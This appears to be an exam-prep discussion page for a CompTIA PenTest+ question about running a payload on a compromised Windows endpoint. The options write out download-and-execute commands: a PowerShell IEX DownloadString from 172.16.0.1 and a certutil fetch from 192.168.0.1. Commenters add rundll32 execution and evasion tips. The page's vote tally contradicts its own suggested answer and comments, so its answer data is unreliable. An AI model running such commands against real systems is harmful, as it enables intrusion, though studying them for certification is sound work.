exam questions

Exam PT0-003 All Questions

View all questions & answers for the PT0-003 exam

Exam PT0-003 topic 1 question 76 discussion

Actual exam question from CompTIA's PT0-003
Question #: 76
Topic #: 1
[All PT0-003 Questions]

A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?

  • A. powershell.exe impo C:\tools\foo.ps1
  • B. certutil.exe -f https://192.168.0.1/foo.exe bad.exe
  • C. powershell.exe -noni -encode IEX.DownloadString("http://172.16.0.1/")
  • D. rundll32.exe c:\path\foo.dll,functName
Show Suggested Answer Hide Answer
Suggested Answer: D 🗳️

Comments

Chosen Answer:
This is a voting comment (?). It is better to Upvote an existing comment if you don't have anything to add.
Switch to a voting comment New
44b375c
2 days ago
Selected Answer: C
âś” Executes the payload immediately (or as advertised) âś” Widely used in realistic pentests âś” Avoids writing to disk (less detectable)
upvoted 1 times
...
YOOOO
1 month, 4 weeks ago
Selected Answer: D
rundll32.exe is used to load and execute an exported function from a DLL, which is a common way for a tester to run a DLL payload on an endpoint. The other options are malformed or incorrect: A: impo is not a valid PowerShell command. B: certutil can be abused to download files but the shown syntax is incorrect (and it's more for file retrieval than directly executing a payload). C: The -encode usage is incorrect; -EncodedCommand expects base64 and the IEX.DownloadString(...) form is malformed.
upvoted 1 times
...
leesuh
2 months, 4 weeks ago
Selected Answer: D
A. powershell.exe impo C:\tools\foo.ps1 ❌ • Import-Module alone does not execute a payload. B. certutil.exe -f https://192.168.0.1/foo.exe bad.exe ❌ • Downloads the file, but does not execute it automatically. C. powershell.exe -noni -encode IEX.DownloadString(...) ❌ for PT0-003 context • While this works in practice, the exam sometimes expects native Windows binaries for executing a staged payload, not PowerShell scripting. • CompTIA exam wording often hints at DLL execution, which is a core “payload execution technique” they emphasize. D. rundll32.exe c:\path\foo.dll,functName ✅ • Uses a native Windows utility to execute a function exported in a DLL. • Common in post-exploitation and exactly matches what CompTIA expects when asking about executing a payload from an endpoint. • Can trigger a malicious DLL payload, which achieves the goal of additional access.
upvoted 1 times
leesuh
2 months, 4 weeks ago
Rundll32: • Built-in Windows binary that loads a DLL and executes a function inside it. • Frequently used in pentesting for payload execution without creating an executable. • Exam frequently tests recognition of native Windows execution methods (Rundll32, MSBuild, Regsvr32, etc.).
upvoted 1 times
...
leesuh
2 months, 4 weeks ago
🔑 Memory Hook for PT0-003: • Payload execution on Windows → think “native binaries first”. • rundll32.exe, msbuild.exe, regsvr32.exe are built-in binaries for executing payloads. • PowerShell works in real-life attacks, but the exam prioritizes Windows-native execution mechanisms.
upvoted 1 times
...
...
PhillyCheese
3 months, 1 week ago
Selected Answer: D
rundll32.exe is a legitimate Windows utility that can be used to execute functions exported from DLL files. Penetration testers (and attackers) often use it to execute malicious payloads in a way that blends in with normal system activity. The command specifies the path to the DLL file (c:\path\foo.dll) and the function to execute (functName).
upvoted 1 times
PhillyCheese
3 months, 1 week ago
A. powershell.exe impo C:\tools\foo.ps1: This command is syntactically incorrect. The impo argument is not valid for PowerShell. B. certutil.exe -f https://192.168.0.1/foo.exe bad.exe: While certutil.exe is often used to download files, this command only downloads the file (foo.exe) and saves it as bad.exe. It does not execute the payload. C. powershell.exe -noni -encode IEX.DownloadString("http://172.16.0.1/"): This command attempts to execute a PowerShell script, but the syntax is incorrect. The -encode flag is used to provide a base64-encoded script, not a direct command.
upvoted 1 times
...
...
CyberVet0609
4 months, 1 week ago
Selected Answer: D
rundll32.exe is a legitimate Windows utility used for executing functions within DLL files. Attackers often misuse it to execute malicious code. This option assumes the attacker has already placed the malicious DLL (foo.dll) on the compromised system (at c:\path). By specifying the DLL and the functName (the name of the function within the DLL that contains the malicious code), the attacker can trigger the payload. This technique is commonly used for executing payloads and is relevant to the Pentest+ exam objectives.
upvoted 2 times
...
22db091
4 months, 3 weeks ago
Selected Answer: C
Why it's more likely correct: It pulls a script from a remote server and executes it immediately. It doesn't rely on a pre-existing file like a DLL or EXE. This technique is widely used in real-world red team operations, e.g., Cobalt Strike, Empire, etc. It aligns with post-exploitation behavior for staging additional payloads.
upvoted 2 times
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...